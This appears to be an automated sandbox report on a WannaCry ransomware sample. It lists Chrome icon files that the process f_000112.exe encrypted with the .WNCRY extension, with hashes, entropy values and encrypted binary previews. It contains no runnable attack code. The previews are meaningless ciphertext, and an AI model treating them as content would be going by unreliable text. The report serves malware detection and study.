                                                                                                                                                                              SHA-256:EC3BC417E374D4F6AE07ECB1ED78B6E9AA49029C82C9A2B17B81635C0B72F19B
                                                                                                                                                                              SHA-512:D2CFB8AEA4E1951EDC561E7264DB714CD2F19392AD69FDD517525C197B28695096472EDEE21F33CA94D5771171F41DCB0091925E433CF5F1C267375124F9FF9B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....o..7.[:..{x%*.....9..Mu...n.v!.K,{I.+W*....*.^.).w....{F..).h...N..B...D^....W#UaP..r$..r.L_..\f.....G.......~...O.@.\8Pl.4......!..0M@.i...+:..ux..:d..|....*. .X....TT..u0.r...D%>x.....O3.N.........:......<.!_}.J..p.{IJ.X....HZ.X.$..ee....v............O...m..EF..... .|.)!...S..+.\.$..?,m.?.1c..*%......-.....F.K..h....* .s.R.W.ki.,..>..P....q1..~#O.....&.......LH...$.....N..C..s8f..@A.....hg.]...m@w. .....eQ@.6?.....tVg..f.....c.u.QY.|JP.M..c........n...........eKz..$b./.h)..]9 .s._U.#..q........M'|vI.D.nG..V... p..}KI..V....a.3.s...D...Fk...7e..*C..{..9"..u.7,.b.:..^...S...a"@...k..Z...T.N.L.4.xE..C@-.Jz`7..&.I..;.....4....m..Pg.2.....C..uS8Mu.Dz...i.`......m..\w.F....Ts$..%..qM#@..:.S.,.(.g.S....Z.9.c.$........u Q......."H..._./..7.....C<..1....).E7.T{u.:....?..}...S....z....&;1T|U.r.T...l.....:.Y.K7~O..V..9(.g.!...~..".%..m..u..f..r.hT."..d......uQ.>.1v".:.R..p`F..1..9.j..z..l/8v0.8W\c.W...{.JB~..p..k...{/H.H.....N.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6056
                                                                                                                                                                              Entropy (8bit):7.970826849983458
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oKqmYA5mEBDdEQLoe8Hl3kPT/b+bnFgdyH3dT7KkDh2pK0asqmNtv7Zg:bL00EQLSFUPzbdy17JCfaGNtv7+
                                                                                                                                                                              MD5:D4E818DB752B7BA039C0DC7ED18B963D
                                                                                                                                                                              SHA1:0D026F8672476028C77E123713B4DF0DD6321722
                                                                                                                                                                              SHA-256:A30AB22F3397D1FF5F91C47D588EBD1D4922D3743BF00585E1391A9FEEE0AD0F
                                                                                                                                                                              SHA-512:21EF14800944B80F1CC729971858EAE99021CBC85572BCB3E02D853F5C1E5372599A3D018835B5DE2D03C5C2082C3168CF7C8FCD43A7A1AD824ACE2FA9DC8543
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........._..!.......'...,\....^.......6._.P.7G.N...h.. .....!.:.......#$v.Qk'K.Wg....q.D!....$"*(o..Q".....v.......(..%.O...H....]}.Qi...t.u.T.au6....,.~q30<...6..j.U..F!..o....bF.:...%J.H..O...?.eT7q..............C....(..l.#q....n.{v-..>Q.f./Y....l...............=.\f.;.9P.....c.k.j...f.....C..:S.\...l.96....4.5GRs.!.....`#..i%.....e).]>.:.4..0.#..%.A<..v.|`.@7x.c.B*.[......'..2d6\58d...5.-hZ...B...]k...wa. W.0....<...sc9..?..FV.$.V.8f..E.C.5.....v...y{`J.<.G...9.h.j..e<*.9.V..n...9.}Wk.c....;S.....P"..\........)}w#~...5....}....Z.M....M.iG..F..D.~.Y.]...!..s...l`...a...P$0.'.s....W+........+.......n.%r.k..g...lOq.H..b..7.EU..p..9.....?..0N%.....S.J*c......O.......y#E.H....V.....&..*b...D..*H..&.}......JqYJ...N$....h..u....E.9..7{......|.-..$2..Y;.KG..zX....p.y".....k....}..{._.[O".Q..U|6...Z.....,.iE.L5....Y.S%.......#sK.-.M....JxX..#.t..?f......2PKGl....e.a.......T.W.n...)-.0.J..oh.X..l.l......T......h.*d..\...~n..Jgp..<.%<w_....w..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10344
                                                                                                                                                                              Entropy (8bit):7.983811652302993
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:sRSmNl4whBaISzOzIwKhGy4pkRikZaGwuFny7T2CtmN/RJtoQPt8UZAYB5pMflc:Gv1hRSzOzIeDpSinf7T2CGRJtoQP71Bz
                                                                                                                                                                              MD5:89A627EA37721B3C8E13097E6F1855F5
                                                                                                                                                                              SHA1:744A2FD585A7327E6A79543CE41585CD9B955664
                                                                                                                                                                              SHA-256:519049481185EEC054C0C782C20AC89A21439C27C091C31CF10AB4C17AF8F30D
                                                                                                                                                                              SHA-512:39333EB7EBD80D745451F2C65B76D953D2305D3983F18022B8018FCF00BACCE169793BF49DA959D8AC08F4A7720062765EC3633E4DB63E3C5801FA82C90201A2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......qw..-3...n@...b...=!..w.Q......y..O-.*.........Y...0..5.a\j..s.....H.._%#5e^.6...5.4..q(..p@4'...N5n.LK-..(.m.|P\.V0bW{.......)G\w..r./L...;2.-.u~ ?)p...5..G/T&Pu.......xs...Nr@...s...v../..x..._J..%.{p`qGl.l....A.P.....H..4.,P....i....v.]0.......P'..........`.....{L.......}..)...i...!..1........?j..$4+|.N..z.2e^..la.,.91[.....k../&...x?..A..K\...Wa....d'...(..Z..8....`.Q..".......L.}.3|....83...+.`..:....a;.D...G..q....._.G..KF...&.E...D$...Z...?.&#...9....M`.Q.}>..:.w...?.H.'R..X.[...r.^..|.U.m..q..<.....'..e..H.|..(.#W.0..Y..ZnJ7.....JR.... .N..f...'.4..+n.vV.ZO...jTo. .- .W....9...P.......:.'........Mj..@.F..h..a.72.k.c..Iu.>u..../'.w.0.cO... 4......w?.;v...L.1.0s..iG....G..\..../..}`..n..7[A.`P.V [p5.........-w.j=].*..a9yw...0...[..}w....o.7.@1.....rM.8.&.,..b@...a.U.e$.._..jK....pu.2.B38...3.D..@o.B.d".6v...2....U..I..Q5.:..ttfQkf.v.M#..-.!:..e.6=IJ.....P.._)Sp'.B..\\|..A.(M..*e..E.Po..W3i..)9..nX.r=....*.s....(..=HIdt8......-.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7240
                                                                                                                                                                              Entropy (8bit):7.974564798490808
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:PbNF98huxuSM1RY5JjjLqs5c3geuleu1bnLJ9TUh:zxxuSMs5BpUQgu1LL8
                                                                                                                                                                              MD5:CAFBADC97E18CB0319E9A02F7FEAE115
                                                                                                                                                                              SHA1:E928D48E8ADE37B0B6B7118D676A3BD9CAEF4300
                                                                                                                                                                              SHA-256:B4E5ACBE4ACBFA2D64EEB71D1DB9AF92AB4D5D63FFAE495053B899B8F3259D8E
                                                                                                                                                                              SHA-512:BCFB77FAFA13609CF530E52D5184013FF9D7EF95E7B76351E79E629992342EB323A3CF42311423B89A67A54F05D00C1AFF0DB8A3EC768E9485AD03463D99155E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%Zm.....r5....r..v....|........I...Gc......Cd.c......X.utb....N.....q..,F.~.m8..Q.FL...+b..N....Z.K$0Yq"...N.L.qa^.(~..yr.z.X+{..#..rH..I..!.d.LOo..P...O[.z'.P({..y4*}........S".I......Ako...u=.|9S..o.nYK...'R88@l(I....hE.....H.;:......m.o......+.......d.........G.T.T|..v]@?....mG.U..N;..9.I..j#"........../..b]Pn....pl.SXI2Z..AG.2..-&.qH......@.bz...8..x.}4......7XL..;(.9AL..[..}Z0.N.}.8....x.7.2+......G_...]..@>jW..&2U.}"d,L)...y!.3....A#...|d...'..]..\....zVA.....>...V. b......`s....w...)(....L=.iu=.'tZ.o7....m..&2X..-..q).sdP'..l$.t.._fZ..\..5H.....g.....%K....2.C.IJtjP.J..k...By.H.]4...n...vO49..d..b.q2B:Q. ...B.Lnl ..k..r2......)..1...6.7...Md.U...."Y.s..s.z.O...\..u.w..q..W.F..(..j...S\.f<....<...=rP.P...N+.`k..:..xq.D.;..'....Nu4>..u...g~O.(..]D..o_..r..L...2K...f..%.43]ZY.X..1Z.....gr..S.CT...pxJ.Q...-C:3.`.pT....CQ.y..@.C....._......R...z._m.R.-.....r{..9..K.mQ..O,6K.>L.r.b....]T..v.f.....)....J..+.3...%..s...x...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):25624
                                                                                                                                                                              Entropy (8bit):7.9917007525769455
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:4FykIQtV3YGuoEOYa5IrFYdjfM3D3b1tf:cDtd8oEOY1Y5M3zf
                                                                                                                                                                              MD5:9C703AEF1099CD415387FA70A2E292D3
                                                                                                                                                                              SHA1:94AA0A6FE0365D2CB0B290B33378B7027EEA98BA
                                                                                                                                                                              SHA-256:F4084E1EFA3A4FF65DB8982478585CA3C6814BB21E8A3C14674DF3865FFC7A95
                                                                                                                                                                              SHA-512:363EF2013882773A4CFD0ACC62881C38858B5A3FA497ED4A95934AA57808ADF04E67B9B49323E6CEFF59EA41263C226F5A9577869142816047FCEC964C5E1A2A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....O.9....cu.{@...&'...M[U.0........2R>9......8......l....m...9&2*.W...Wa.EUo.8./...X.]...-F....q..#X...y...aYM....<.j.+...I..?.GtFEW.x(..%....V..x....._..*......#ey...^u.A-[.L..d._..,.N...&6.j.....y.a.!Jk..sR+gu...C....k..bJ.f.]......j.e.G...:......b......_.k.8s..t.*.?/.g.U..D.B..w..F?<..?J.6.n..}..&...~Q..2.q...E.E.c.c1}..=..F..{%.".v.s|......|O...*.Hn2.$.@X..C&ATf.A....o.!h.q...5..*M.....O...w.f...Z.I.z.t..QB....]7.....S..]}.[..P.gn...f......4*+.d...s ...C.J.bD...........k......$...a.7jBy1..c.taF4.....(.9!.=.$.....m.C.H...E.<A.....W`...7.?...0....._ZMq....j.....+7> ,<...5.......'=.v.A..H..1.`..Uk{.pN......J_...z.'..Y..>..*M2.|...t.p.......n...$+....g.4...p.7.A6R...../:x...v..DmrAC......=...`...[&...Tk..7.ROf.X6.8.....T.F.Q.M~#.T.Mt..;T..*....9.D...w..B.1.yH...sU.].`.z....(.k...-.6.1].....>...-*..4.Q..../..R6.L&9;....~3...9.k.....c.n=..=....-..\..J.A.&..&..de+.....5N).......H.k...$.(f%.I:..A{.l.m.n^e.,..9......:*."..T.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1784
                                                                                                                                                                              Entropy (8bit):7.901717586557559
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkaI6awCCZyPuKVNSgd2X0FZyeIYgpKOyYeq:oa5awCC4uK7vde0F4elmxy+
                                                                                                                                                                              MD5:FD123685B8E9099E3D2D0561BBD81B5B
                                                                                                                                                                              SHA1:AF13FDD8033159BADBB112182B0F96D26650AD43
                                                                                                                                                                              SHA-256:69092C366A3BF5A604EFC9FC57C0EAE997FC935B158892E00336C9ECFBA818C2
                                                                                                                                                                              SHA-512:E0FE0FF112161E6D9991D4CD8E88E8C62B71A1BD7E0ADA77C22B243FF68721F8D133C5510B76DAF106BC4AFE094E7043071F68E1FBCEBCB4FB91974AB95E8C4C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Z.r"...S.%Y..@".gN....s...^.P8.......K......y..^|p_wKD....W.dU.p.]..r_i.....le.Q.7.2.j.}L.g..}p...1Y..7'.......J..(..WwgG.f.#\@.4@.Ht3.,(N...K........*Z....#p.8.E.8.......2n./..O{.pv.M......8....7"..8........d.$Nj.5.bK....B.i.4.&....1u.Z'y'H..............z^<..s@T...S.l...=...\.Zf:.|.nk.,....q`...$......{.F.d.^..f..w..Q.6..R...{... ,..|.i...f...B+O..J.....b.F.{..O..2k56.<....gl...&.7..R...n*qzx.zi.....e..gu..%.b4.,!'....y..\...u..E.o....w..1=.U.10.Q.^dv...y0. ".....L.W...F...l.....S.p..kn.G.-..`1..?j.<...<{..m.T.......u...p.D..P.....|c:T....u..3..X....,..5.....t...B...(...r..e...w....CB....X..n...U..e.z......b.#.&.c.).;....!.G.M(...N.\/.._..6.eD..C. .%1.o.Z..\e.Q.7l....'.QXl.(/`........?..o.....7...}x.].\....6.....\.n.@..i..Of..>.`D....9'*.. w....l..IU..n-..K..>..>..h..z.{"=..-.QA.<=.YU...5DN.C.../.#<F.......f..q.. ..s_fv.Gn.T.h....V..).9...X+Hif7.@..2...q?.ds"...3..#.*L...(r...B.I....@(.:...}..\%...-We0....G/.4.W...n...~.D

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.936839340470911
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkC7WNmWL8vaggIIeW6Jd3m6Kp8HAxV3470dgSPz4sou1uWrf8d/vMDaMBnVEy:ormWrCJYHQS47Q34F6uWnDdb
                                                                                                                                                                              MD5:DE021D7C5F3D646C14461DE2EB6C05CA
                                                                                                                                                                              SHA1:E73B2A05040F502EDD40C6AAD495D9FC4B20B49B
                                                                                                                                                                              SHA-256:DFA769A7FE6E44678CC73A9A92CD108C2B822599C58EE3A472AF081FF044B268
                                                                                                                                                                              SHA-512:4746C5C09303DC63B7A94FED1B1F971E28C21EC9BE003839D03E165D6A62DBE9FC87F81DEDBCB648C5F9321BF39BE959A14A69005529618680261232AE8347B6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.:.P2...6Q.".I..we..x}..D....|...7.'.U...k.:4.K.sdE....YE.}....7....#.p..=7......4.N.........+.'.....$d\..%S.~_.....<..a..;..-......rG.q. .h.B......:........Fo;.\H.B.1..qZN.].a..Y\.....[:.......'..j.#....1H......G.I...D8$d....0y#*..p..`m....m........'..)|..$....sN..$L8.....]..=~....]..L..t:qM....D.3..y.`.H..8..X2d.[/=...S.D.2.B.q.~L..U.w6+.U......SU..S..@.....b.tF..v65..^.`^=.>..M.W.........6...{zE.Pw.[L.N...0).WF.I5.3.n6k^hc6..].k.Ab;..}7...c.W.U.O.@....%1LLrMjU.?.{....4: .........y;.@.m WG..4.+9..b.<..9..Z..kN`B..{.....a..H....|...o..+.e.sQ..0..:...1..s.]q........{#z(..P.5lAYvJ..x35....,.R.0.q...8...e..`;..j...f...y.0...._.`..4./.$9.g.bm4;...si..z1.B..#......E.,Za\;].=F!....}...h^....YI..`E..$..5..C8.'....6/....:.....:.7F,.....Y...a7.....dy"{..Q@q.A.#A....8...#.1?.M..[T.qcNX.fPc?...."e..ZE..Y.m5..y..f..g......n.{*...........'oYK...[...5.!{...U..NE~....C.........v..Z.u..>1.+.?F.....9....E...r#U..,...T...C.~..?...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4072
                                                                                                                                                                              Entropy (8bit):7.9554172051670715
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oITgm+zcd83+MXcALLSyVHm1+9I5yOHRTPDR2z:5TuzcOoAyQG1PEEDl2z
                                                                                                                                                                              MD5:5A472E7DBCE3B26E38881D299F0414D2
                                                                                                                                                                              SHA1:4106F33EC975923FFBF2C49560176EF385DB132D
                                                                                                                                                                              SHA-256:F66A88515B892BC3356191FBE0DE1AD703D1A8516673E629AB129EB9BBEEC30E
                                                                                                                                                                              SHA-512:55BFFC254216615BA17115EE0DEB42B43867D61D95DFE80275A83299E50F8E92EDDE94BA9D66C78B52A1303C90B0B1630B96DA017354EBF69EC9DA402F92CDA2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^...Y1.......z...>..&P.jWu.....7%.e..K.P.U?. ......?.,P..#.b.h}!....7...P^w~...D...v...7.......p(.kh.(..N.+..C...z..0T..........Y.fhSJ.*..a....2|....l.30.....~+V.....uS @.G...7.@..L.&.....&..4[+_..x.+.A$...%...t....lr.L..&{.{m..z..i7.\....._*q..............B...M...V].Z\}..I./t.Y.E...M#.x.. .uz;.......#.s3yN..Q.a~-.kf...3.l....O.8l.1...*&......mb."+....id...L7)@.`=nccoV.sb.w..F}v..}.Y"..gqg..ZqX~.,.*>C]......&.h8H.s.{....6..*.`y.E.OVUt..-....d.m..lV...?.."p....G.......P)g&.X..q.k...+....0yr....>Y...(u..N...E.......j4..A...].....3}{]Hk`./..=..hq.....W.."TP.....xj...1R....(',`.j..l)."...'..|..*l..P.N8."..Z'.\...=......F/'$...S....N.?XI..hSQ2.B\#....1..i..;.QO....h...u..il.....a.t8$....W....k...#.......,.._S.Q.....$.f..Z....=...6.i@l..=R.l.U.K..'Q.3o......d..P..QFx..S....c...&;..../...!_...a.......P....kf......I...G.y..4..,&.JXm...F/.nsuZM. .M.2.u..../l.......UWp....4a:p...Z......B....2...9..Kc.4~.......w..GD[jz<E....rL....x/.j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7000
                                                                                                                                                                              Entropy (8bit):7.9722562744624925
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:7VEBmyk+cEZZeEJQt41bqF4wBaB2UCyEQIVs0cuxz:J+mgVbjdq0B2R0Ms01
                                                                                                                                                                              MD5:C1E50B24B007F72A27E9A0FA14301B04
                                                                                                                                                                              SHA1:A97C44BDB03BADDA46BE74FC4063883E9F8346BD
                                                                                                                                                                              SHA-256:A58759D8AC3CC26E8E0563D90FCEE31F1CE24CFC90B95581D569D4080F69060F
                                                                                                                                                                              SHA-512:C9E1384B5C1D3F7CC6B7FE3B477D769710B6A95F2FC6D809C498CC5D05AA95CDD495480096BC5F29941FC978DC7E848131E72C322925A1A432AD3A4B2D1202E4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......q[y?...[.(.^..qr`.;..r.....)Ex6......6.....N..5..9r.."....I.2.......J.M...`r.UC.n....w.u&.]<..ZB...|..S5.U..#t..E.{.A^..$.!..~...%.^..y.|`..n_.P&......>....t.e...D7. /.....*O...j.cN...{.c.a...........:[s..>..lp...I(...Y..oO~...K.Z.....6..b.....;........q.#.....K.h....b..Mv6.lQNR.~.Y..Fp...C.../..x..Y.Q.....!.qX#Q....j......Z..7d.Z.T.Y,.5....{A.l...%.*..:....'..h.VK..pt.&...P?;.....T....&w.".....3..d..a..0....W.......)...2 ..........O=.|.......}.l..:...i+...R\t..R.................. ..n..zj\k8&..XU\...s.P.........q.As.......T|.rW25..}.Z.G.?w3...%.H|W.@..9H.ED.h...q.D]..+..b{......?jSw....[.t...EDd..g.0..P..M......%..U......C..L~.T...g....H.y..-...7!.. .{..I.3...v||.8...uP.=Ok*.....sJn.........'i....e.....v.....f.c.......... K........&....#...~.C..e..W...........Wk;.S.).V..].....I.`..{.aI.....8BuW....5.rJ.G<!2........7..a.E4..:].nm..x..)..5....VA..m|29...-.[.C...s6T......k..g...yX.....`#.....>.........,e_.i...`

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2600
                                                                                                                                                                              Entropy (8bit):7.922928737221135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkJc5klWPipXNQm6VYadaVjZkwkyrHpinMNhfb4E9rT0E/h0UmpCIhhCSaTLVwui:oJTOip6YPVjO3yrKChfb4EyESUmQXSaO
                                                                                                                                                                              MD5:991BF6B844C91A3B1BB51A5B0A1DF70C
                                                                                                                                                                              SHA1:80F4C7CCE81C61A3054929212DAC3D791A285888
                                                                                                                                                                              SHA-256:73787D357267BDF6A23BB433BD5E0E55EF3BF13FFD323205BA1505052B5AF1A7
                                                                                                                                                                              SHA-512:3DE01444C6DFDF22F5AFE3BB71D25C8BAEF0937073D4729F38D57E9BB8427CD1C4F03BCCC172B7F8CF75EE68398DE2C3852CCA4A5B15BC2E2297D72AC09E9F2D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D...w.L.(...9.....!(a..^V..%:..Z.;[..hOiV|..>Sr..2..!.e.>..;=......U./...V(L.=>O.dF...^..{]R..QF.o.*....'.m.......49.."q_~.+.x..>.....Py.......dK...2..*..qY...(.l..D.....uVoY1...Z.$Kt.g.f....=..ga..>T..u.....r.{..v..f..q4O.'......O...x)u2..a...............\.g..ha...s..E.CGX....?!..;.z......#^d...n.....*Y....7j...."...;..V.T.:,..nj...A..<`.2...g<H..D..Q.......T.;k.s.....|A......8....s.FG./..>.......#........KI...L..'._i.4A..c1........V.=6!.#<d..j.{......)...m{...n.5Y..v...>.S(6.......&u.V[O.#h..R..9.u:.....{g4%.3.=[.(.....G..'....C..3.m...=.%.?..#..0}..nD...E9.....+..\.K8.p%.7I....i.....A..<....Y.onS:....Db.Pd."d.="...lD..I......*...*.z.rw..+.E9oWA.....].....M...Ll]../z)...w)..X._......f.!...(r......UO.W).Z.G8...k...P3gfNE [^.Xv.H.&..../ O........-/u.z6t.G..~M.7q...'.S._.....!..c....j...I5-.@|.,\...}...}...W-.UX...S....(*.Y...g.UJP....S....X.b..L$.W<'..!0.K..<1M[._....6.m.X.|.....?.:.......-.>....".gJ....)v..}A.i....ds2..?L]....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1576
                                                                                                                                                                              Entropy (8bit):7.865761131996043
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxSsXdPUyKqchV3SDov173k330x102hbzWgSGiLjwEK/YqSHI2RE89vMIhHBmYP:bkkstZKSWJk335SbNSKEKPSo2R2oEQ
                                                                                                                                                                              MD5:06FC1E04230C371B7A25868B2991F8BD
                                                                                                                                                                              SHA1:EE7C3E095F1019F94CD79E2A41CFCB50F38AA01F
                                                                                                                                                                              SHA-256:5C8B3B8EA71D1B387F484F8E756B4DB213FE96EBB4031A7826522ACEFC4744AF
                                                                                                                                                                              SHA-512:F97848F9EEE943F339DA0EB4888A7C0B8734D41DA8EB2F18530F8A1F37989396B337D9E012B43CD057B76921A4F6D4CDA76DC853EA03337DB45BACD6E2C7DB53
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....R.7.r.h^.D..-Po..{...sKY[F:'...K....j:..$./{24....r.<.!...?=_.%s.&.0.....@9#.u:...Q>.%....v.U.....S.@.]1.!nyV<.>I.w&...>....^...Gy...._.:.....a.#c.E..Q[.$....-..]i.^..g..:..,.M.....b!e).y....7.tU..\.B...V. .v..x..k..?...f..(...LU..C$E,./..k._%..*...............gG.Ol.hC...vHV..CB-...F_..Q..J..A.T.r0.m.).b....E,<..p...y/.....X..e....?.Q.........`.....5U.:.U.}.e.IB..8]Y.+.M.OR..).% ?/7.x.>}.U..P.0...hE..RL.....{..N..Zn`eq....18..HN..y...A^w..$..^........@..K...b2...I...n...KF../..a]O]..L. .:3.i...?.x*....J.%=......2@"GE....P.S.h.l.L.Y.q.../..e.$.i..q.x.....#..>XI.......wqs...Q...g..MI...?...2...`.x..q.mk../....#.LC.r.....|..~./c...%....q<H..k.....*F.}PJw.....w..K/.8......}k...p........{3}#I7k...T....M\.~..Y..?c7V.UWw.f...a./.M....3&..P..fN..i...AA.+........B.F..&..0..C..n...|c..c.A<.p....T8.`."..ACk%qZ.:n%..i....[...E|f.....!..}]"...q-...U./.J.u.......p..a{.N<S..?.S...sg.M...._.........0.[".\..^.c..F<=...b..\.y..F..........O}...4.....P

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5480
                                                                                                                                                                              Entropy (8bit):7.972591968087683
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ovKS3t8ynLxmiowKUW2oMXcggBhmgA1gJ3TL4gycMneZcIf/bGhTOyjD/fVd1JcD:uKS3t9nJS2qlcgAkTLS7neZcIHgSszV6
                                                                                                                                                                              MD5:BB368C6814E54D83F36B155FD97B7422
                                                                                                                                                                              SHA1:76717D2F41E2D361E2DA2433618C3EA2A2525301
                                                                                                                                                                              SHA-256:187720DEE0F230840C67AE11AE83414048FEB64DB5003B4B6F59892944E21308
                                                                                                                                                                              SHA-512:858800C65D27E9952C0841B3911A27040D4B3228C5CC1019BD1E69CEAF1EA69AFCB4D7CAA2F39883394F7ECAFBE22E5EC3EC11F74DF0F2A0AA0DD359C0FF8689
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
